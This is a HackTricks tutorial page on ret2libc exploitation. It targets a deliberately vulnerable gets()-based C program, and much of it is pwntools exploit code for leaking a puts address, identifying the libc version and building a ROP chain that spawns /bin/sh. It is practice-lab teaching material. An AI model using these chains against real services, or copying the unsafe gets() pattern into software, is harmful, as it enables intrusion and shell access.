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https://github.com/carlospolop/hacktricks
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338 lines
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338 lines
14 KiB
Markdown
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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# Quick Resume
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1. **Find** overflow **offset**
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2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets
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3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
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4. With the library, **calculate the ROP and exploit it**
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# Other tutorials and binaries to practice
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This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
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Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
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# Code
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Filename: `vuln.c`
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```c
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#include <stdio.h>
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int main() {
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char buffer[32];
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puts("Simple ROP.\n");
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gets(buffer);
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return 0;
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}
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```
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```bash
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gcc -o vuln vuln.c -fno-stack-protector -no-pie
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```
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# ROP - Leaking LIBC template
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I'm going to use the code located here to make the exploit.\
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Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
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{% content-ref url="rop-leaking-libc-template.md" %}
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[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
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{% endcontent-ref %}
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# 1- Finding the offset
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The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
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```bash
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###################
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### Find offset ###
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###################
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OFFSET = ""#"A"*72
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if OFFSET == "":
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gdb.attach(p.pid, "c") #Attach and continue
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payload = cyclic(1000)
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print(r.clean())
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r.sendline(payload)
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#x/wx $rsp -- Search for bytes that crashed the application
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#cyclic_find(0x6161616b) # Find the offset of those bytes
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return
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```
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**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
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```python
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from pwn import *
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cyclic_find(0x6161616b)
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```
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.png>)
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After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
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`OFFSET = "A" * 40`
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Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
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# 2- Finding Gadgets
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Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
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```python
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PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
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MAIN_PLT = elf.symbols['main']
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POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
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RET = (rop.find_gadget(['ret']))[0]
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log.info("Main start: " + hex(MAIN_PLT))
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log.info("Puts plt: " + hex(PUTS_PLT))
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log.info("pop rdi; ret gadget: " + hex(POP_RDI))
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```
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The `PUTS_PLT` is needed to call the **function puts**.\
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The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
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The **POP\_RDI** is needed to **pass** a **parameter** to the called function.
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In this step you don't need to execute anything as everything will be found by pwntools during the execution.
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# 3- Finding LIBC library
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Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
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```python
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def get_addr(func_name):
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FUNC_GOT = elf.got[func_name]
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log.info(func_name + " GOT @ " + hex(FUNC_GOT))
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# Create rop chain
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rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
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#Send our rop-chain payload
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#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
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print(p.clean()) # clean socket buffer (read all and print)
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p.sendline(rop1)
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#Parse leaked address
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recieved = p.recvline().strip()
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leak = u64(recieved.ljust(8, "\x00"))
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log.info("Leaked libc address, "+func_name+": "+ hex(leak))
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#If not libc yet, stop here
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if libc != "":
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libc.address = leak - libc.symbols[func_name] #Save libc base
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log.info("libc base @ %s" % hex(libc.address))
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return hex(leak)
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get_addr("puts") #Search for puts address in memmory to obtains libc base
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if libc == "":
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print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
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p.interactive()
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```
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To do so, the most important line of the executed code is:
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```python
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rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
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```
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This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
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Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
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After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
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Finally, **main function is called again** so we can exploit the overflow again.
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This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
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.png>)
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As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
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But, in a remote exploit case I will explain here how can you find it:
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## 3.1- Searching for libc version (1)
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You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
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It will also allow you to download the discovered version of **libc**
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.png>)
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## 3.2- Searching for libc version (2)
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You can also do:
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* `$ git clone https://github.com/niklasb/libc-database.git`
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* `$ cd libc-database`
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* `$ ./get`
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This will take some time, be patient.\
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For this to work we need:
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* Libc symbol name: `puts`
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* Leaked libc adddress: `0x7ff629878690`
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We can figure out which **libc** that is most likely used.
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```
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./find puts 0x7ff629878690
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ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
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archive-glibc (id libc6_2.23-0ubuntu11_amd64)
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```
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We get 2 matches (you should try the second one if the first one is not working). Download the first one:
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```
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./download libc6_2.23-0ubuntu10_amd64
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Getting libc6_2.23-0ubuntu10_amd64
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-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
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-> Downloading package
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-> Extracting package
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-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
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```
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Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
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## 3.3- Other functions to leak
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```python
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puts
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printf
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__libc_start_main
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read
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gets
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```
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# 4- Finding based libc address & exploiting
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At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
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So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
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Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
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Inside the `get_addr`function the **base address of libc** is going to be calculated:
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```python
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if libc != "":
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libc.address = leak - libc.symbols[func_name] #Save libc base
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log.info("libc base @ %s" % hex(libc.address))
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```
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{% hint style="info" %}
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Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
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{% endhint %}
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Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
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```python
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BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
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SYSTEM = libc.sym["system"]
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EXIT = libc.sym["exit"]
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log.info("bin/sh %s " % hex(BINSH))
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log.info("system %s " % hex(SYSTEM))
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```
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Finally, the /bin/sh execution exploit is going to be prepared sent:
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```python
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rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
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p.clean()
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p.sendline(rop2)
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#### Interact with the shell #####
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p.interactive() #Interact with the conenction
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```
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Let's explain this final ROP.\
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The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
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Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
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**This way the exploit will execute a **_**/bin/sh**_** shell.**
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.png>)
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# 4(2)- Using ONE\_GADGET
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You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. \
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However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
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.png>)
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```python
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ONE_GADGET = libc.address + 0x4526a
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rop2 = base + p64(ONE_GADGET) + "\x00"*100
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```
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# EXPLOIT FILE
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You can find a template to exploit this vulnerability here:
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{% content-ref url="rop-leaking-libc-template.md" %}
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[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
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{% endcontent-ref %}
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# Common problems
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## MAIN\_PLT = elf.symbols\['main'] not found
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If the "main" symbol does not exist. Then you can just where is the main code:
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```python
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objdump -d vuln_binary | grep "\.text"
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Disassembly of section .text:
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0000000000401080 <.text>:
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```
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and set the address manually:
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```python
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MAIN_PLT = 0x401080
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```
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## Puts not found
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If the binary is not using Puts you should check if it is using
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## `sh: 1: %s%s%s%s%s%s%s%s: not found`
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If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
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Try to **subtract 64 bytes to the address of "/bin/sh"**:
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```python
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BINSH = next(libc.search("/bin/sh")) - 64
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```
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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